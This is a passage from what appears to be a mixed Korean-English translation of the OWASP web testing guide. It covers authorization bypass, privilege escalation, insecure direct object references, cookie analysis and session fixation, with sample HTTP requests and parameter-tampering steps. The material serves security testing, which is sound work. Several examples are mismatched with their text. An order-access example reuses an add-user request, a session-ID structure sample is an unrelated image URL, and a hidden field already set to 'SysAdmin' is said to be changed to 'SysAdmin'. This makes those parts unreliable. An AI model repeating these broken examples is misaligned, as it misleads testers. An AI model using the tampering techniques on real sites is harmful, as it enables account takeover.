com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],OWASP: Zed Attack Proxy (ZAP)[5]) • Enconding/Decoding tools • String searcher "grep" - http://www.gnu.org/software/grep/


References

Whitepapers • phpBB Attachment Mod Directory Traversal HTTP POST Injection - http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290. html[6] • Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[7]

OTG-AUTHZ-002 (인증 스키마 우회 테스트)


개요

This kind of test focuses on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources. For every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:

  • Is it possible to access that resource even if the user is not authenticated?
  • Is it possible to access that resource after the log-out?
  • Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?

Try to access the application as an administrative user and track all the administrative functions.

  • Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?
  • Is it possible to use these administrative functions as a user with adifferent role and for whom that action should be denied?

테스트 방법

Testing for access to administrative functions For example, suppose that the 'AddUser.jsp' function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:

code-block:: html

Then, the following HTTP request is generated when calling the AddUser function:

code-block:: html

POST /admin/addUser.jsp HTTP/1.1 Host: www.example.com [other HTTP headers]

userID=fakeuser&role=3&group=grp001

What happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use their privileges?

Testing for access to resources assigned to a different role

For example analyze an application that uses a shared directory to store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with roleA. Verify if user test2 with roleB can access that resource.


Tools

  • OWASP WebScarab: OWASP WebScarab Project
  • OWASP Zed Attack Proxy (ZAP)

OTG-AUTHZ-003 (권한 상승 테스트)


개요

This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges or roles inside the application in ways that could allow privilege escalation attacks.

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.

The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation. Usually, people refer to vertical escalation when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to horizontal escalation when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).


테스트 방법

Testing for role/privilege manipulation In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).

예제

The following HTTP POST allows the user that belongs to grp001 to access order #0001:

POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
[other HTTP headers]

userID=fakeuser&role=3&group=grp001

Verify if a user that does not belong to grp001 can modify the value of the parameters 'groupID' and 'orderID' to gain access to that privileged data.

예제

The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/;
domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/;
domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

<form  name="autoriz" method="POST" action = "visual.jsp">
<input type="hidden" name="profile" value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>

What if the tester modifies the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?

예제

In an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes, as the following:

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0`
Notifications`0`0`3`Command  Manager`0`0`0` StateToolsBar
`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0

The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session. In this condition, verify that it is not possible to escalate privileges by modifying the parameter values. In this particular example, by modifying the PVValid value from '-1' to '0' (no error conditions), it may be possible to authenticate as administrator to the server.


References

Whitepapers

Tools

  • OWASP WebScarab: OWASP WebScarab Project
  • OWASP Zed Attack Proxy (ZAP)

OTG-AUTHZ-004 (안전하지 않은 직접 객체 참조 테스트)


개요

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks. How to Test

To test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

The best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.

Below are several typical scenarios for this vulnerability and the methods to test for each:

The value of a parameter is used directly to retrieve a database record Sample request: http://foo.bar/somepage?invoice=12345 In this case, the value of the invoice parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user. Since the value of invoice goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization. The value of a parameter is used directly to perform an operation in the system Sample request:

http://foo.bar/changepassword?user=someuser

In this case, the value of the user parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user's password is to be changed, and in the next step the user will provide a new password (without asking for the current one). The user parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user. The value of a parameter is used directly to retrieve a file system resource Sample request:

http://foo.bar/showImage?img=img00011

In this case, the value of the file parameter is used to tell the application what file the user intends to retrieve. By providing the name or identifier of a different file (for example file=image00012. jpg) the attacker will be able to retrieve objects belonging to other users. To test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of file parameter. Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see Testing for Path Traversal) The value of a parameter is used directly to access application functionality Sample request:

http://foo.bar/accessPage?menuitem=12

In this case, the value of the menuitem parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of menu-item parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items. In the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.


References

Top 10 2013-A4-Insecure Direct Object References


Session Management Testing

One of the core components of any web-based application is the mechanism by which it controls and maintains the state for a user interacting with it. This is referred to this as Session Management and is defined as the set of all controls governing state-full interaction between a user and the web-based application. This broadly covers anything from how user authentication is performed, to what happens upon them logging out. HTTP is a stateless protocol, meaning that web servers respond to client requests without linking them to each other. Even simple application logic requires a user's multiple requests to be associated with each other across a "session". This necessitates third party solutions . through either Off-The-Shelf (OTS) middleware and web server solutions, or bespoke developer implementations. Most popular web application environments, such as ASP and PHP, provide developers with built-in session handling routines. Some kind of identification token will typically be issued, which will be referred to as a "Session ID" or Cookie. There are a number of ways in which a web application may interact with a user. Each is dependent upon the nature of the site, the security, and availability requirements of the application. Whilst there are accepted best practices for application development, such as those outlined in the OWASP Guide to Building Secure Web Applications, it is important that application security is considered within the context of the provider's requirements and expectations.

05_세션 관리 테스트

OTG-SESS-001 (세션 관리 스키마 우회 테스트)


개요

각각의 웹 페이지 또는 서비스에 계속적인 인증을 피하기 위해, 웹 어플리케이션은 정의된 시간 범위 동안 자격 증명을 저장하고 유효하게 하기 위해 다양한 메카니즘을 구현합니다.

쿠키 메카니즘은 세션 관리로 알려져있는데, 해당 메카니즘은 애플리케이션 사용자 편의성과 사용의 용이성을 증가시키기 위해선 중요하지만, 침투 테스터에게 정확한 인증 정보를 제공할 필요없이 사용자 계정 액세스에 이용 될 수 있습니다. 해당 테스트에서, 테스터는 쿠키와 다른 세션 토큰이 보안과 예측할 수 없는 방법으로 생성되었는 지 확인하길 원합니다.

취약한 쿠키를 예측하고 위조할 수 있는 공격자는 합법 사용자 세션을 쉽게 하이재킹할 수 있습니다. 쿠키는 세션 관리를 구현하기위해 사용되고 RFC 2965에 자세하게 설명되어 있습니다.

In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client.

The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP. A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields). Due to the importance of the data that they store, cookies are there fore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. In this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). Usually the main steps of the attack pattern are the following:

  • cookie collection: collection of a sufficient number of cookie samples;
  • cookie reverse engineering: analysis of the cookie generation algorithm;
  • cookie manipulation: forging of a valid cookie in order to perform the attack.

This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack). Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.


테스트 방법

Black Box Testing and Examples

클라이언트와 어플리케이션 사이의 모든 상호 작용은 적어도 다음의 기준에 따라 테스트되어야 합니다.

  • 모든 Set-Cookie가 Secure와 같이 태그된 지시어 입니까?
  • 모든 쿠키 작업은 암호화되지 않은 전송을 통해 이루어집니까?
  • 쿠키는 강제로 암호화되지 않은 전송을 할 수 있습니까?
  • 그렇다면, 어떻게 어플리케이션이 보안을 유지합니까?
  • 모든 쿠키가 영구적입니까?
  • Expires= times이 영구적인 쿠키로 사용됩니까? 그 이유가 있습니까?
  • 일시적으로 설정되어 있는 것으로 예상되는 쿠키 입니까?
  • HTTP/1.1 Cache-Control 설정이 쿠키를 보호하기 위해 사용되는 것은 무엇입니까?
  • HTTP/1.0 Cache-Control 설정이 쿠키를 보호하기 위해 사용되는 것은 무엇입니까?

쿠키 수집

쿠키 조작을 해야하는 첫번째 단계는 어플리케이션이 쿠키를 생성하고 관리하는 방법을 이해해야 합니다. 이 작업을 위해, 테스터는 다음 질문에 대답해야 합니다.

  • 어플리케이션에서 얼마나 많은 쿠키가 사용됩니까?

어플리케이션 서핑. 쿠키가 생성될 때 기록. 수신한 쿠키, 쿠키들이 설정된 페이지, 쿠키가 유효한 도메인, 쿠키값, 쿠키 특징 리스트 작성 - 어플리케이션의 어떤 부분이 쿠키가 생성되는지 수정되는지? 어플리케이션 서핑, 쿠키가 계속 남아있는 것과 수정되는 것을 찾기. - 어플리케이션의 어떤 부분이 접근 및 활용하기 위해 쿠키로 필요한지? 어플리케이션의 어떤 부분이 쿠키가 필요한지 찾습니다. 페이지에 접근하고, 쿠키없이 다시 접근해보거나 그 값을 수정하여 접근해봅니다. 여기서 사용되는 쿠키를 매핑해야 합니다. 해당 어플리케이션 부분과 연관 정보에 각 쿠키를 매핑하는 스프레드 시트는 과정의 중요한 출력을 할 수 있습니다.


세션 분석

세션 토큰(쿠키, 세션ID, 숨겨진 필드) 자체가 보안의 관점에서 품질을 보장하기 위해 검사해야 합니다. 세션은 랜덤성, 고유성, 통계 및 암호 분석 및 정보 유출에 대한 정항과 같은 기준에 대응하여 테스트 해야합니다.

  • 토큰 구조 및 정보 유출

첫번째 스테이지는 어플리케이션에서 제공하는 세션 ID 내용과 구조를 검사하는 것입니다. 일반적인 실수는 일반적인 값을 발행하고 서버측에 있는 실제 데이터를 참조하는 것 대신에 토큰에 특정 데이터를 포함하는 것입니다. 만약 Session ID가 평문이라면, 구조와 관련 데이터는 다음과 같을 수 있습니다.

http://foo.bar/showImage?img=img00011

일부 또는 전체 토큰이 암호화 또는 해싱되었다면, 확실하게 난독화되었는지 확인하기 위한 다양한 기술을 비교합니다. 예를 들어 문자 "192.168.100.1:owaspuser:password:15:58"을 Hex, Base64, MD5 해쉬로 표현하면 아래와 같습니다.

Hex         3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538
Base64      MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=
MD5         01c2fc4f0a817afd8366689bd29dd40a

난독화 유형을 식별하는 경우, 원본 데이터를 디코딩하는 것이 가능할 수 있습니다. 그러나 대부분의 경우는 어렵습니다.

그럼에도 불구하고, 메시지의 포맷 대신에 인코딩을 리스트화 하는 것이 더 유용 할 수 있습니다. 또한, 기술 형태와 난독화 둘다 추론할 수 있기 때문에, 자동 무차별 대입 공격을 할 수 있을 것입니다. 하이브리드 토큰은 다음과 같이 인코딩된 부분과 함께 IP 주소 또는 사용자 ID 등의 정보를 포함 할 수 있습니다.

owaspuser:192.168.100.1:
a7656fafe94dae72b1e1487670148412

단일 세션 토큰을 분석하는 데, 대표적인 샘플을 검사해야 합니다. 토큰의 간단한 분석은 즉시 명백한 패턴을 공개합니다. 예를 들어, 32 비트 토큰은 정적 데이터 16 비트와 가변 데이터의 16 비트를 포함 할 수 있습니다. 이는 처음 16 비트가 사용자의 고정된 속성을 표시하는 것을 나타낼 수있다

– 예제. 사용자명 또는 IP 주소

If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples. If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token. The following areas should be addressed during the single and multiple Session ID structure testing:

  • Session ID의 어떤 부분이 정적입니까?
  • Session ID의 어떤 평문 기밀 정보가 저장되어 있습니까? (예제. usernames/UID, IP 주소)
  • 쉽게 디코드되는 기밀 정보는 어떻게 저장되어 있습니까?
  • Session ID의 구조로 부터 추론할 수 있는 정보가 무엇입니까?
  • Session ID의 어떤 부분이 조건에서 동일한 로그로 정적입니까?
  • 전체 또는 개인 부분으로 Session ID에 표현되는 명백한 패턴이 무엇입니까?

Session ID 예측 가능성과 랜덤성

Session ID의 변수 부분의 분석은 모든 패턴 인식 또는 예측 존재를 확인하기 위해 수행되어어야 합니다.

이러한 분석은 수동으로 뿐만 아니라 Session ID의 내용에 모든 패턴 추론을 위한 맞춤형 또는 OTS 통계 또는 암호 해독 툴로 수행될 수있다.

Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address. Time is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed. Variable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable. In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.

  • Are the Session IDs provably random in nature? Can the resulting values be reproduced?
  • Do the same input conditions produce the same ID on a subsequent run?
  • Are the Session IDs provably resistant to statistical or cryptanalysis?
  • What elements of the Session IDs are time-linked?
  • What portions of the Session IDs are predictable?
  • Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?

Brute Force Attacks

Brute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher. A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.

  • How long would a brute-force attack on all possible Session IDs

take? - Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span? - Do delays between connection attempts with different Session IDs mitigate the risk of this attack?


Gray Box testing and example

만약 테스터가 세션 관리 스키마 구현에 접근된다면, 다음을 확인할 수 있습니다.

  • Random Session Token

The Session ID or Cookie issued to the client should not be easily pre dictable (don’t use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).

  • Token length

Session ID will be at least 50 characters length.

  • Session Time-out

Session token should have a defined time-out (it depends on the criticality of the application managed data)

  • Cookie configuration:
  • non-persistent: only RAM memory
  • secure (set only on HTTPS channel):

Set Cookie: cookie=data; path=/; domain=.aaa.it; secure

  • HTTPOnly (not readable by a script):

Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly More information here: Testing for cookies attributes


Tools


References

Whitepapers

OTG-SESS-002 (쿠키 속성 테스트)


개요

Cookies are often a key attack vector for malicious users (typically targeting other users) and the application should always take due diligence to protect cookies. This section looks at how an application can take the necessary precautions when assigning cookies, and how to test that these attributes have been correctly configured. The importance of secure use of Cookies cannot be understated, especially within dynamic web applications, which need to maintain state across a stateless protocol such as HTTP. To understand the importance of cookies it is imperative to understand what they are primarily used for. These primary functions usually consist of being used as a session authorization and authentication token or as a temporary data container. Thus, if an attacker were able to acquire a session token (for example, by exploiting a cross site scripting vulnerability or by sniffing an unencrypted session), then they could use this cookie to hijack a valid session. Additionally, cookies are set to maintain state across multiple requests. Since HTTP is stateless, the server cannot determine if a request it receives is part of a current session or the start of a new session without some type of identifier. This identifier is very commonly a cookie although other methods are also possible. There are many different types of applications that need to keep track of session state across multiple requests. The primary one that comes to mind would be an online store. As a user adds multiple items to a shopping cart, this data needs to be retained in subsequent requests to the application. Cookies are very commonly used for this task and are set by the application using the Set-Cookie directive in the application’s HTTP response, and is usually in a name=value format (if cookies are enabled and if they are supported, as is the case for all modern web browsers). Once an application has told the browser to use a particular cookie, the browser will send this cookie in each subsequent request. A cookie can contain data such as items from an online shopping cart, the price of these items, the quantity of these items, personal information, user IDs, etc.

Due to the sensitive nature of information in cookies, they are typically encoded or encrypted in an attempt to protect the information they contain. Often, multiple cookies will be set (separated by a semicolon) upon subsequent requests. For example, in the case of an online store, a new cookie could be set as the user adds multiple items to the shopping cart. Additionally, there will typically be a cookie for authentication (session token as indicated above) once the user logs in, and multiple other cookies used to identify the items the user wishes to purchase and their auxiliary information (i.e., price and quantity) in the online store type of application. Once the tester has an understanding of how cookies are set, when they are set, what they are used for, why they are used, and their importance, they should take a look at what attributes can be set for a cookie and how to test if they are secure. The following is a list of the attributes that can be set for each cookie and what they mean. The next section will focus on how to test for each attribute. • secure - This attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as HTTPS. This will help protect the cookie from being passed over unencrypted requests. If the application can be accessed over both HTTP and HTTPS, then there is the potential that the cookie can be sent in clear text. • HttpOnly - This attribute is used to help prevent attacks such as cross-site scripting, since it does not allow the cookie to be accessed via a client side script such as JavaScript. Note that not all browsers support this functionality. • domain - This attribute is used to compare against the domain of the server in which the URL is being requested. If the domain matches or if it is a sub-domain, then the path attribute will be checked next. Note that only hosts within the specified domain can set a cookie for that domain. Also the domain attribute cannot be a top level domain (such as .gov or .com) to prevent servers from setting arbitrary cookies for another domain. If the domain attribute is not set, then the host name of the server that generated the cookie is used as the default value of the domain. For example, if a cookie is set by an application at app.mydomain. com with no domain attribute set, then the cookie would be resubmitted for all subsequent requests for app.mydomain.com and its sub-domains (such as hacker.app.mydomain.com), but not to otherapp.mydomain.com. If a developer wanted to loosen this restriction, then he could set the domain attribute to mydomain. com. In this case the cookie would be sent to all requests for app. mydomain.com and its sub domains, such as hacker.app.mydomain.com, and even bank.mydomain.com. If there was a vulnerable server on a sub domain (for example, otherapp.mydomain. com) and the domain attribute has been set too loosely (for example, mydomain.com), then the vulnerable server could be used to harvest cookies (such as session tokens). • path - In addition to the domain, the URL path that the cookie is valid for can be specified. If the domain and path match, then the cookie will be sent in the request. Just as with the domain attribute, if the path attribute is set too loosely, then it could leave the application vulnerable to attacks by other applications on the same server. For example, if the path attribute was set to the web server root “/”, then the application cookies will be sent to every application within the same domain. • expires - This attribute is used to set persistent cookies, since

the cookie does not expire until the set date is exceeded. This

persistent cookie will be used by this browser session and subsequent sessions until the cookie expires. Once the expiration date has exceeded, the browser will delete the cookie. Alternatively, if this attribute is not set, then the cookie is only valid in the current browser session and the cookie will be deleted when the session ends.


테스트 방법

Black Box Testing

Testing for cookie attribute vulnerabilities: By using an intercepting proxy or traffic intercepting browser plugin, trap all responses where a cookie is set by the application (using the Set-cookie directive) and inspect the cookie for the following: • Secure Attribute - Whenever a cookie contains sensitive

information or is a session token, then it should always be passed

using an encrypted tunnel. For example, after logging into an application and a session token is set using a cookie, then verify it is tagged using the “;secure” flag. If it is not, then the browser would agree to pass it via an unencrypted channel such as using HTTP, and this could lead to an attacker leading users into submitting their cookie over an insecure channel. • HttpOnly Attribute - This attribute should always be set even though not every browser supports it. This attribute aids in securing the cookie from being accessed by a client side script, it does not eliminate cross site scripting risks but does eliminate some exploitation vectors. Check to see if the “;HttpOnly” tag has been set. • Domain Attribute - Verify that the domain has not been set too loosely. As noted above, it should only be set for the server that needs to receive the cookie. For example if the application resides on server app.mysite.com, then it should be set to “; domain=app. mysite.com” and NOT “; domain=.mysite.com” as this would allow other potentially vulnerable servers to receive the cookie. • Path Attribute - Verify that the path attribute, just as the Domain attribute, has not been set too loosely. Even if the Domain attribute has been configured as tight as possible, if the path is set to the root directory “/” then it can be vulnerable to less secure applications on the same server. For example, if the application resides at /myapp/, then verify that the cookies path is set to “; path=/myapp/” and NOT “; path=/” or “; path=/myapp”. Notice here that the trailing “/” must be used after myapp. If it is not used, the browser will send the cookie to any path that matches “myapp” such as “myapp-exploited”. • Expires Attribute - If this attribute is set to a time in the future verify that the cookie does not contain any sensitive information. For example, if a cookie is set to “; expires=Sun, 31-Jul-2016 13:45:29 GMT” and it is currently July 31st 2014, then the tester should inspect the cookie. If the cookie is a session token that is stored on the user’s hard drive then an attacker or local user (such as an admin) who has access to this cookie can access the application by resubmitting this token until the expiration date passes.


Tools

Intercepting Proxy
  • OWASP Zed Attack Proxy Project

Browser Plug-in

References

Whitepapers

OTG-SESS-003 (쿠키 고정 테스트)


개요

When an application does not renew its session cookie(s) after a successful user authentication, it could be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).

Session fixation vulnerabilities occur when:

  • A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
  • An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user’s account through the active session.

Furthermore, the issue described above is problematic for sites that issue a session identifier over HTTP and then redirect the user to a HTTPS log in form. If the session identifier is not reissued upon authentication, the attacker can eavesdrop and steal the identifier and then use it to hijack the session.


테스트 방법

Black Box Testing
  • 요청
GET www.example.com
  • 응답
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4vrt4:-1;
Path=/; secure
Cache-Control: no-cache=”set-cookie,set-cookie2”
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=Cp1254
Content-Language: en-US
  • 어플리케이션은 클라이언트로 JSESSIONID=0000d-8eyYq3L0z2fgq10m4v-rt4:-1 세션 설정
  • POST 요청
POST https://www.example.com/authentication.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Content-Type: application/x-www-form-urlencoded
Content-length: 57

Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
  • 응답
HTTP/1.1 200 OK
Date: Thu, 14 Aug 2008 14:52:58 GMT
Server: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6
Content-language: en
Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip
Content-length: 4090
Connection: close
Content-Type: text/html; charset=UTF-8
...
HTML data
...
  • 세션 하이재킹 가능 확인

예상 결과

The tester can send a valid session identifier to a user (possibly using a social engineering trick), wait for them to authenticate, and subsequently verify that privileges have been assigned to this cookie.


Gray Box Testing

개발자들과 이야기 하고 세션 토큰이 사용자 인증이 성공한 후 새로운 세션 토큰을 구현하는 경우에 대해 이해합니다.

예상 결과

어플리케이션은 사용자를 인증하기 전에 항상 먼저 기존 session ID를 무효화하고, 인증에 성공하면 다른 sessionID를 제공합니다.


Tools


References

OTG-SESS-004 (노출 세션 변수 테스트)


개요

The Session Tokens (Cookie, SessionID, Hidden Field), if exposed, will usually enable an attacker to impersonate a victim and access the application illegitimately. It is important that they are protected from eavesdropping at all times, particularly whilst in transit between the client browser and the application servers. The information here relates to how transport security applies to the transfer of sensitive Session ID data rather than data in general, and may be stricter than the caching and transport policies applied to the data served by the site. Using a personal proxy, it is possible to ascertain the following about each request and response:

  • Protocol used (e.g., HTTP vs. HTTPS)
  • HTTP Headers
  • Message Body (e.g., POST or page content)

Each time Session ID data is passed between the client and the server, the protocol, cache, and privacy directives and body should be examined. Transport security here refers to Session IDs passed in GET or POST requests, message bodies, or other means over valid HTTP requests.


테스트 방법

Testing for Encryption & Reuse of Session Tokens vulnerabilities: Protection from eavesdropping is often provided by SSL encryption, but may incorporate other tunneling or encryption. It should be noted that encryption or cryptographic hashing of the Session ID should be considered separately from transport encryption, as it is the Session ID itself being protected, not the data that may be represented by it. If the Session ID could be presented by an attacker to the application to gain access, then it must be protected in transit to mitigate that risk. It should therefore be ensured that encryption is both the default and enforced for any request or response where the Session ID is passed, regardless of the mechanism used (e.g., a hidden form field). Simple checks such as replacing https:// with http:// during interaction with the application should be performed, together with modification of form posts to determine if adequate segregation between the secure and non-secure sites is implemented. Note that if there is also an element to the site where the user is tracked with Session IDs but security is not present (e.g., noting which public documents a registered user downloads) it is essential that a different Session ID is used. The Session ID should therefore be monitored as the client switches from the secure to non-secure elements to ensure a different one is used.

예상 결과

Every time the authentication is successful, the user should expect to receive:

  • A different session token
  • A token sent via encrypted channel every time they make an

HTTP Request


Testing for Proxies & Caching vulnerabilities:

Proxies must also be considered when reviewing application security. In many cases, clients will access the application through corporate, ISP, or other proxies or protocol aware gateways (e.g., Firewalls). The HTTP protocol provides directives to control the behavior of downstream proxies, and the correct implementation of these directives should also be assessed. In general, the Session ID should never be sent over unencrypted transport and should never be cached. The application should be examined to ensure that encrypted communications are both the default and enforced for any transfer of Session IDs. Furthermore, whenever the Session ID is passed, directives should be in place to prevent its caching by intermediate and even local caches. The application should also be configured to secure data in caches over both HTTP/1.0 and HTTP/1.1 – RFC 2616 discusses the appropriate controls with reference to HTTP. HTTP/1.1 provides a number of cache control mechanisms. Cache-Control: no-cache indicates that a proxy must not re-use any data. Whilst Cache-Control: Private appears to be a suitable directive, this still allows a non-shared proxy to cache data. In the case of web-cafes or other shared systems, this presents a clear risk. Even with single-user workstations the cached Session ID may be exposed through a compromise of the file-system or where network stores are used. HTTP/1.0 caches do not recognise the Cache-Control: no-cache directive.

예상 결과

The “Expires: 0” and Cache-Control: max-age=0 directives should be used to further ensure caches do not expose the data. Each request/response passing Session ID data should be examined to ensure appropriate cache directives are in use.


Testing for GET & POST vulnerabilities:

In general, GET requests should not be used, as the Session ID may be exposed in Proxy or Firewall logs. They are also far more easily manipulated than other types of transport, although it should be noted that almost any mechanism can be manipulated by the client with the right tools. Furthermore, Cross-site Scripting (XSS) attacks are most easily exploited by sending a specially constructed link to the victim. This is far less likely if data is sent from the client as POSTs.

예상 결과

All server side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET. For example, consider the following POST request generated by a log in page.

